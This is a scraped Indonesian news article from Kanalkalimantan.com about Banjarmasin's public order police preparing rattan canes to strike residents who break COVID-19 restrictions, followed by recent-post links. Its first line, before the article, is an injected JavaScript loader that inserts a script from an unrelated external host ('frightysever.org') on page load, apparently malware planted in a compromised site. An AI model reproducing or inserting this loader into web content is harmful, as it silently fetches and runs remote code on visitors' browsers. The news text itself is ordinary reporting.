(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

AWAS. Selama PSBB Banjarmasin, Satpol PP Berubah Jadi ‘Polisi India’ Berbekal Tongkat Rotan!


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarmasin memiliki cara unik untuk memberikan teguran kepada warga yang tidak mematuhi aturan selama pemberlakuan pembatasan sosial berskala besar (PSBB) yang akan diterapkan mulai besok. Yaitu dengan menyediakan kayu rotan untuk memperingatkan warga membandel bak polisi India yang viral di medsos.

Plt. Kepala Satpol PP Kota Banjarmasin Ichwan Noor Chalik saat ditemui di Taman Edukasi Banjarmasin, Kamis (23/4/2020) menuturkan, sebagai konsekuensi pemberlakuan PSBB, maka jajarannya harus tegas.

“Jadi nanti teman-teman dari Satpol PP akan membawa kayu rotan. Siapapun, masyarakat yang bandel dan tidak mengindahkan ketentuan kita dan masih keluyuran di jalan, maka akan kita lakukan penindakan tegas. Jadi, rotan kisa siapkan untuk pukulan ‘kasih sayang’,” kata Ichwan sembari tertawa.

Pukulan ‘kasih sayang’ yang dimaksud tidak sampai membuat masyarakat babak belur. Justru, pukulan ini bertujuan untuk memberikan teguran kepada warga masyarakat untuk tidak keluyuran di jalan.

“Inspirasinya dari polisi India, ya. Harus mengenakan ini (rotan), jadi kalau tidak menggunakan ini, berdasarkan pengalaman kami di Banjarmasin jika hanya (diingatkan) dengan mulut kurang diperhatikan. Jadi kami memakai rotan, tapi rotan bukan untuk apa-apa. Untuk pukulan ‘kasih sayang’ saja,” ucap Ichwan yang juga Kepala Dishub Kota Banjarmasin ini.

Sedikitnya ada 150 kayu rotan disiapkan sebagai alat untuk memberikan teguran kepada warga masyarakat yang masih bandel selama pemberlakuan PSBB nantinya. Termasuk juga digunakan selama pemberlakuan jam malam, dari pukul 21:00 wita hingga 06:00 wita.

“Saya katakan bahwa, tindakan tegas pemerintah dalam hal ini Satpol PP bukan untuk menyiksa, menghukum atau mencambuk. Lebih banyak ke pukulan ‘kasih sayang’, mengingatkan untuk berhati-hati,” pungkas Ichwan. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.